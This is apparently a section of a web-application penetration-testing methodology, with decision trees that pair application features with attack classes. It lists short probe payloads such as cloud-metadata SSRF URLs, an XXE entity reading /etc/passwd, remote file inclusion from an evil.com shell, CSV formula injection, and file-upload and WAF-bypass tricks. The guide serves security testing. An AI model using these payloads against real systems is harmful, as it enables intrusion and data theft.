β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚         API PARAMETERS β†’ TEST FOR...                         β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  πŸ”΄ IDOR (INSECURE DIRECT OBJECT REFERENCE)                  β”‚
β”‚  └─ Test: Change /user/123 β†’ /user/124                      β”‚
β”‚  └─ Test: Change ?id=123 β†’ ?id=124                          β”‚
β”‚  └─ πŸ”— IDOR.md                                              β”‚
β”‚  └─ ⚑ Quick Win: Sequential IDs, UUIDs in URLs              β”‚
β”‚                                                              β”‚
β”‚  🟠 MASS ASSIGNMENT                                          β”‚
β”‚  └─ Test: Add "role":"admin" to user update request          β”‚
β”‚  └─ πŸ”— API Penetration.md                                   β”‚
β”‚                                                              β”‚
β”‚  🟠 SSRF (if parameter contains URL)                         β”‚
β”‚  └─ Test: ?url=http://169.254.169.254/latest/meta-data      β”‚
β”‚  └─ Test: ?redirect=http://attacker.com                     β”‚
β”‚  └─ πŸ”— SSRF.md                                              β”‚
β”‚                                                              β”‚
β”‚  🟑 XXE (if XML input accepted)                              β”‚
β”‚  └─ Test: <!ENTITY xxe SYSTEM "file:///etc/passwd">         β”‚
β”‚  └─ πŸ”— XXE Vulnerabilities.md                               β”‚
β”‚                                                              β”‚
β”‚  🟑 GRAPHQL-SPECIFIC ATTACKS                                 β”‚
β”‚  └─ Test: Introspection query, batching, depth attacks      β”‚
β”‚  └─ πŸ”— GraphQL.md                                           β”‚
β”‚                                                              β”‚
β”‚  🟑 RACE CONDITION (if state-changing endpoint)              β”‚
β”‚  └─ Test: Concurrent requests with same coupon code         β”‚
β”‚  └─ πŸ”— Exploiting Race Conditions.md                        β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

πŸ”΄ Path D: File Upload β†’ File-Based Attacks

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚         FILE UPLOAD FUNCTION β†’ TEST FOR...                   β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  πŸ”΄ UNRESTRICTED FILE UPLOAD (RCE)                           β”‚
β”‚  └─ Test: Upload .php, .jsp, .aspx, .phtml, .php5          β”‚
β”‚  └─ Test: Double extension: file.php.jpg                    β”‚
β”‚  └─ Test: Null byte: file.php%00.jpg                         β”‚
β”‚  └─ πŸ”— File Upload Vulnerabilities.md                       β”‚
β”‚  └─ ⚑ Quick Win: Web shell upload = immediate RCE           β”‚
β”‚                                                              β”‚
β”‚  πŸ”΄ XXE VIA FILE UPLOAD (if XML/SVG/DOCX accepted)           β”‚
β”‚  └─ Test: SVG with embedded XXE payload                     β”‚
β”‚  └─ Test: DOCX/XLSX XXE (Office Open XML)                   β”‚
β”‚  └─ πŸ”— XXE Vulnerabilities.md                               β”‚
β”‚                                                              β”‚
β”‚  🟠 XSS VIA FILE UPLOAD                                      β”‚
β”‚  └─ Test: SVG with <script> tag, HTML file upload           β”‚
β”‚  └─ πŸ”— xss.md                                               β”‚
β”‚                                                              β”‚
β”‚  🟠 SSRF VIA FILE UPLOAD (if URL upload supported)           β”‚
β”‚  └─ Test: Upload from URL pointing to internal services     β”‚
β”‚  └─ πŸ”— SSRF.md                                              β”‚
β”‚                                                              β”‚
β”‚  🟑 IMAGETRAGICK / GHOSTSCRIPT RCE                           β”‚
β”‚  └─ Test: Malicious image with ImageMagick payloads         β”‚
β”‚  └─ πŸ”— File Upload Vulnerabilities.md                       β”‚
β”‚                                                              β”‚
β”‚  🟑 ZIP SLIP / PATH TRAVERSAL IN ARCHIVE                     β”‚
β”‚  └─ Test: Zip file with ../../../etc/passwd entry           β”‚
β”‚  └─ πŸ”— LFI and RFI.md                                       β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

File Upload Bypass Cheatsheet:

Restriction Bypass Technique
Extension blacklist Try: .php5, .phtml, .pht, .php., .PhP, .pHp
MIME type check Change Content-Type: image/jpeg β†’ text/php
Content validation Add GIF89a; header before PHP code
Image-only check Create polyglot image/webshell with exiftool
Server renames file Check for LFI to include uploaded file

βš™οΈ Phase 4: Functionality-Based Attacks

Beyond inputs, application functions themselves can be vulnerable.

Decision Tree: What Functionality Do You See?

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚           FUNCTIONALITY OBSERVED                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                            β”‚
        β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
        β–Ό                   β–Ό                   β–Ό                   β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ URL/Redirect  β”‚   β”‚ Email         β”‚   β”‚ Import/Export β”‚   β”‚ WebSocket     β”‚
β”‚ Parameters    β”‚   β”‚ Functionality β”‚   β”‚ Functionality β”‚   β”‚ Connections   β”‚
β”‚               β”‚   β”‚               β”‚   β”‚               β”‚   β”‚               β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜
        β”‚                   β”‚                   β”‚                   β”‚
        β–Ό                   β–Ό                   β–Ό                   β–Ό

πŸ”΄ Path A: URL / Redirect Parameters

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚    URL / REDIRECT PARAMETERS β†’ TEST FOR...                   β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  πŸ”΄ SSRF (if parameter fetches URLs)                         β”‚
β”‚  └─ Test: Internal IPs, cloud metadata, localhost           β”‚
β”‚  └─ πŸ”— SSRF.md                                              β”‚
β”‚                                                              β”‚
β”‚  πŸ”΄ OPEN REDIRECT                                            β”‚
β”‚  └─ Test: ?redirect=https://evil.com                        β”‚
β”‚  └─ Test: ?next=//evil.com, ?url=https:evil.com             β”‚
β”‚  └─ πŸ”— Open Redirect.md                                     β”‚
β”‚                                                              β”‚
β”‚  🟠 LFI/RFI (if parameter includes files)                    β”‚
β”‚  └─ Test: ?page=../../../../etc/passwd                      β”‚
β”‚  └─ Test: ?page=https://evil.com/shell.php                  β”‚
β”‚  └─ πŸ”— LFI and RFI.md                                       β”‚
β”‚                                                              β”‚
β”‚  🟑 DNS REBINDING (if URL is validated then used)            β”‚
β”‚  └─ Test: Domain that resolves to different IPs             β”‚
β”‚  └─ πŸ”— DNS Rebinding.md                                     β”‚
β”‚                                                              β”‚
β”‚  🟑 HTTP PARAMETER POLLUTION                                 β”‚
β”‚  └─ Test: ?url=good.com&url=evil.com                         β”‚
β”‚  └─ πŸ”— HTTP Parameter Pollution.md                           β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

🟑 Path B: Email Functionality

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚    EMAIL FUNCTIONALITY β†’ TEST FOR...                         β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  🟠 EMAIL HEADER INJECTION                                   β”‚
β”‚  └─ Test: Bcc: victim@company.com in email field            β”‚
β”‚  └─ πŸ”— Email Attacks.md                                     β”‚
β”‚                                                              β”‚
β”‚  🟠 EMAIL SPOOFING (if app sends emails on user's behalf)    β”‚
β”‚  └─ Test: From: CEO <ceo@company.com>                       β”‚
β”‚  └─ πŸ”— Email Attacks.md                                     β”‚
β”‚                                                              β”‚
β”‚  🟑 SSRF IN EMAIL TEMPLATES (if external images fetched)     β”‚
β”‚  └─ Test: <img src="http://169.254.169.254/">               β”‚
β”‚  └─ πŸ”— SSRF.md                                              β”‚
β”‚                                                              β”‚
β”‚  🟑 SSTI IN EMAIL TEMPLATES                                  β”‚
β”‚  └─ Test: {{7*7}} in email body or subject                  β”‚
β”‚  └─ πŸ”— SSTI.md                                              β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

🟑 Path C: Import / Export Functionality

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚    IMPORT / EXPORT β†’ TEST FOR...                             β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  🟠 XXE IN IMPORT (XML, DOCX, XLSX)                          β”‚
β”‚  └─ Test: Upload XML with external entity                   β”‚
β”‚  └─ πŸ”— XXE Vulnerabilities.md                               β”‚
β”‚                                                              β”‚
β”‚  🟠 CSV/EXCEL FORMULA INJECTION                              β”‚
β”‚  └─ Test: =cmd|'/C calc'!A0 in exported CSV                 β”‚
β”‚  └─ πŸ”— Injection Exploitation.md                            β”‚
β”‚                                                              β”‚
β”‚  🟑 DESERIALIZATION IN IMPORT (if serialized objects)        β”‚
β”‚  └─ Test: Malicious serialized Java/PHP/Python object       β”‚
β”‚  └─ πŸ”— Deserialization.md                                   β”‚
β”‚                                                              β”‚
β”‚  🟑 IDOR IN EXPORT (export other users' data)                β”‚
β”‚  └─ Test: Change export ID parameter                        β”‚
β”‚  └─ πŸ”— IDOR.md                                              β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

🟑 Path D: WebSocket Connections

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚    WEBSOCKET CONNECTIONS β†’ TEST FOR...                       β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  🟠 CROSS-SITE WEBSOCKET HIJACKING                           β”‚
β”‚  └─ Test: No Origin validation, missing CSRF token          β”‚
β”‚  └─ πŸ”— WebSocket Exploitation.md                            β”‚
β”‚                                                              β”‚
β”‚  🟠 UNAUTHORIZED MESSAGE MANIPULATION                        β”‚
β”‚  └─ Test: Modify message content to impersonate users       β”‚
β”‚  └─ πŸ”— WebSocket Exploitation.md                            β”‚
β”‚                                                              β”‚
β”‚  🟑 IDOR IN WEBSOCKET MESSAGES                               β”‚
β”‚  └─ Test: Change user_id in WebSocket message               β”‚
β”‚  └─ πŸ”— IDOR.md + WebSocket Exploitation.md                  β”‚
β”‚                                                              β”‚
β”‚  🟑 RACE CONDITION IN REAL-TIME APPS                         β”‚
β”‚  └─ Test: Rapid message sending for duplicate actions       β”‚
β”‚  └─ πŸ”— Exploiting Race Conditions.md                        β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

πŸ—οΈ Phase 5: Infrastructure & Protocol Attacks

Attacks that target the underlying infrastructure rather than application logic.

Decision Tree: What Infrastructure Clues Do You See?

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚           INFRASTRUCTURE CLUES                               β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                            β”‚
        β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
        β–Ό                   β–Ό                   β–Ό                   β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ CDN / WAF     β”‚   β”‚ Load Balancer β”‚   β”‚ Cache Headers β”‚   β”‚ Supply Chain  β”‚
β”‚ Detected      β”‚   β”‚ / Proxy       β”‚   β”‚ (Varnish,     β”‚   β”‚ (npm, pip,    β”‚
β”‚               β”‚   β”‚ Detected      β”‚   β”‚  CloudFront)  β”‚   β”‚  composer)    β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜
        β”‚                   β”‚                   β”‚                   β”‚
        β–Ό                   β–Ό                   β–Ό                   β–Ό

πŸ”΄ Path A: CDN / WAF Detected

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚    WAF/CDN PRESENT β†’ TEST FOR...                             β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  πŸ”΄ WAF BYPASS TECHNIQUES                                    β”‚
β”‚  └─ Test: Encoding, obfuscation, fragmentation              β”‚
β”‚  └─ πŸ”— WAF.md (web technologies)                            β”‚
β”‚                                                              β”‚
β”‚  🟠 ORIGIN IP DISCLOSURE                                     β”‚
β”‚  └─ Test: DNS history, certificate transparency, censys     β”‚
β”‚  └─ πŸ”— WAF.md                                               β”‚
β”‚                                                              β”‚
β”‚  🟠 HTTP REQUEST SMUGGLING                                   β”‚
β”‚  └─ Test: CL.TE, TE.CL, TE.TE desync                        β”‚
β”‚  └─ πŸ”— HTTP Request Smuggling.md                            β”‚
β”‚  └─ ⚑ Quick Win: If front-end/back-end mismatch             β”‚
β”‚                                                              β”‚
β”‚  🟑 WEB CACHE DECEPTION                                      β”‚
β”‚  └─ Test: /account.css β†’ cached with sensitive content      β”‚
β”‚  └─ πŸ”— Web Cache Deception.md                               β”‚
β”‚                                                              β”‚
β”‚  🟑 WEB CACHE POISONING                                      β”‚
β”‚  └─ Test: Unkeyed headers (X-Forwarded-Host)                β”‚
β”‚  └─ πŸ”— Web Cache Deception.md                               β”‚
β”‚                                                              β”‚
β”‚  🟒 CSP BYPASS (if CSP header present)                       β”‚
β”‚  └─ Test: Script gadgets, JSONP endpoints, CDN whitelist    β”‚
β”‚  └─ πŸ”— csp.md                                               β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

WAF Bypass Quick Reference:

Technique Example
Case variation <ScRiPt>alert(1)</sCrIpT>
Encoding %3Cscript%3Ealert(1)%3C/script%3E
Double URL encoding %253Cscript%253E
Null bytes <scri%00pt>alert(1)</script>
Fragmentation Send headers in separate packets
HTTP Parameter Pollution ?id=1&id=2 (bypasses WAF regex)
Alternative syntax `id` instead of ;id

🟠 Path B: Load Balancer / Proxy Detected

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚    LOAD BALANCER β†’ TEST FOR...                               β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  πŸ”΄ HTTP REQUEST SMUGGLING                                   β”‚
β”‚  └─ Test: CL.TE, TE.CL desync between LB and backend        β”‚
β”‚  └─ πŸ”— HTTP Request Smuggling.md                            β”‚
β”‚                                                              β”‚
β”‚  🟠 HOST HEADER INJECTION                                    β”‚
β”‚  └─ Test: X-Forwarded-Host: evil.com                        β”‚
β”‚  └─ πŸ”— header-injection.md                                  β”‚
β”‚                                                              β”‚
β”‚  🟑 PATH CONFUSION / ROUTING BYPASS                          β”‚
β”‚  └─ Test: /admin β†’ //admin β†’ /ADMIN β†’ /;/admin              β”‚
β”‚  └─ πŸ”— HTTP Request Smuggling.md                            β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

🟑 Path C: Cache Headers Detected

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚    CACHE HEADERS β†’ TEST FOR...                               β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  🟠 WEB CACHE DECEPTION                                      β”‚
β”‚  └─ Test: /profile.css, /settings.json caching sensitive    β”‚
β”‚  └─ πŸ”— Web Cache Deception.md                               β”‚
β”‚                                                              β”‚
β”‚  🟠 WEB CACHE POISONING                                      β”‚
β”‚  └─ Test: Unkeyed headers, fat GET requests                 β”‚
β”‚  └─ πŸ”— Web Cache Deception.md                               β”‚
β”‚                                                              β”‚
β”‚  🟑 CLICKJACKING (if cache serves attacker's page)           β”‚
β”‚  └─ Test: Cache attacker content at victim URL              β”‚
β”‚  └─ πŸ”— Clickjacking.md                                      β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

🟑 Path D: Supply Chain Clues

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚    SUPPLY CHAIN INDICATORS β†’ TEST FOR...                     β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  🟠 DEPENDENCY CONFUSION                                     β”‚
β”‚  └─ Test: Internal package names β†’ publish to public repo    β”‚
β”‚  └─ πŸ”— Supply Chain Attack.md                               β”‚
β”‚                                                              β”‚
β”‚  🟠 EXPOSED SECRETS (GitHub, GitLab)                         β”‚
β”‚  └─ Test: Search repo for .env, credentials, API keys       β”‚
β”‚  └─ πŸ”— GitHub Security.md + GitLab.md                       β”‚
β”‚                                                              β”‚
β”‚  🟑 CI/CD PIPELINE EXPLOITATION                              β”‚
β”‚  └─ Test: Exposed Jenkins, GitHub Actions injection         β”‚
β”‚  └─ πŸ”— CI-CD Security.md + Jenkins.md                       β”‚
β”‚                                                              β”‚
β”‚  🟑 TYPOSQUATTING (if app uses public packages)              β”‚
β”‚  └─ Test: Look for packages with similar names              β”‚
β”‚  └─ πŸ”— Supply Chain Attack.md                               β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

πŸ–₯️ Phase 6: Client-Side Attacks

Attacks that target the user's browser rather than the server.

Decision Tree: What Client-Side Behavior Do You See?

